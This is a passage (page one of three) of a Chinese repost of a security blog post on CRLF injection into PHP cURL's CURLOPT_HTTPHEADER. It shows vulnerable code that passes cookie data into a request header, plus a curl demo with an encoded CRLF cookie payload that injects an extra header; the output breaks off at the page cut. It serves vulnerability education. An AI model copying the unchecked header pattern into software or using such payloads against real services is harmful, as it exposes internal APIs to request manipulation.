欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

将CRLF注入到PHP的cURL选项中

来源:本站整理 作者:佚名 时间:2018-08-04 TAG: 我要投稿

这是一篇关于将回车符和换行符注入调用内部 API的帖子。一年前我在GitHub上写了这篇文章的要点,但GitHub不是特别适合发布博客文章。你现在所看到的这 篇文章我添加了更多细节,所以它不是是直接复制粘贴的。
我喜欢做白盒测试。我不是一个优秀的黑盒测试人员,但我花了十多年的时间阅读和写PHP代码 – 并且在此过程中犯了很多错误 – 所以我知道要注意些什么。
我浏览了一些源代码发现了一个和这个有点像的函数:
// common.php
function getTrialGroups(){
    $trialGroups = 'default';
    if (isset($_COOKIE['trialGroups'])){
        $trialGroups = $_COOKIE['trialGroups'];
    }
    return explode(",", $trialGroups);
}
我所看到的系统都有一个“Trial Groups”的概念。 每个用户会话都有一个与之关联的组,在cookie中以逗号分隔的列表存储。 我的想法是,当推出新功能时,可以首先为少数客户启用这些功能,以降低功能启动的风险,或者允许对特性的不同变体进行比较(这种方法称为A /B测试)。 getTrialGroups()函数只是读取cookie值,将列表拆开并为用户返回一组 trial groups。
此功能中缺少白名单立即引起了我的注意。 我查找了其余部分的代码库来找调用函数的具体位置,这样我就可以看到对其返回值是否有任何不安全的使用。
我不能和你们分享具体的代码,但我把我的发现大致的写了下来:
// server.php
// Include common functions
require __DIR__.'/common.php';
// Using the awesome httpbin.org here to just reflect
// our whole request back at us as JSON 🙂
$ch = curl_init("http://httpbin.org/post");
// Make curl_exec return the response body
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Set the content type and pass through any trial groups
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Content-Type: application/json",
    "X-Trial-Groups: " . implode(",", getTrialGroups())
]);
// Call the 'getPublicData' RPC method on the internal API
curl_setopt($ch, CURLOPT_POSTFIELDS, json_encode([
    "method" => "getPublicData",
    "params" => []
]));
// Return the response to the user
echo curl_exec($ch);
curl_close($ch);
此代码使用cURL库在内部JSON API上调用getPublicData方法。 该API需要了解用户的trial groups,以便相应地更改其行为,所以trial groups 会在X-Trial-Groups标头中传递给API。
问题是,在设置CURLOPT_HTTPHEADER时不会检查回车符或换行符字符的值。 因为getTrialGroups()函数返回用户可控数据,因此可以将任意头部注入到API请求中。
 
演示
为了让大家更容易的理解,我将使用PHP的内置Web服务器在本地运行server.php:
tom@slim:~/tmp/crlf php -S localhost:1234 server.php
PHP 7.2.7-0ubuntu0.18.04.2 Development Server started at Sun Jul 29 14:15:14 2018
Listening on http://localhost:1234
Document root is /home/tom/tmp/crlf
Press Ctrl-C to quit.
使用cURL命令行实用程序,我们可以发送包含trialGroups cookie的示例请求:
tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2'
{
  "args": {},
  "data": "{\"method\":\"getPublicData\",\"params\":[]}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",
    "Host": "httpbin.org",
    "X-Trial-Groups": "A1,B2"
  },
  "json": {
    "method": "getPublicData",
    "params": []
  },
  "origin": "X.X.X.X",
  "url": "http://httpbin.org/post"
}
我使用http://httpbin.org/post代替内部API端点,它返回一个JSON文档,描述发送的POST请求,文档中包括请求中的所有POST数据和标头。
有关响应一个需要向大家提一下的事项是发送到httpbin.org的X-Trial-Groups标头包含trialGroups cookie中的A1,B2字符串。 然后现在试一下一些CRLF(回车换行)注入:
tom@slim:~ curl -s localhost:1234 -b 'trialGroups=A1,B2%0d%0aX-Injected:%20true'
{
  "args": {},
  "data": "{\"method\":\"getPublicData\",\"params\":[]}",
  "files": {},
  "form": {},
  "headers": {
    "Accept": "*/*",
    "Connection": "close",
    "Content-Length": "38",
    "Content-Type": "application/json",

[1] [2] [3]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载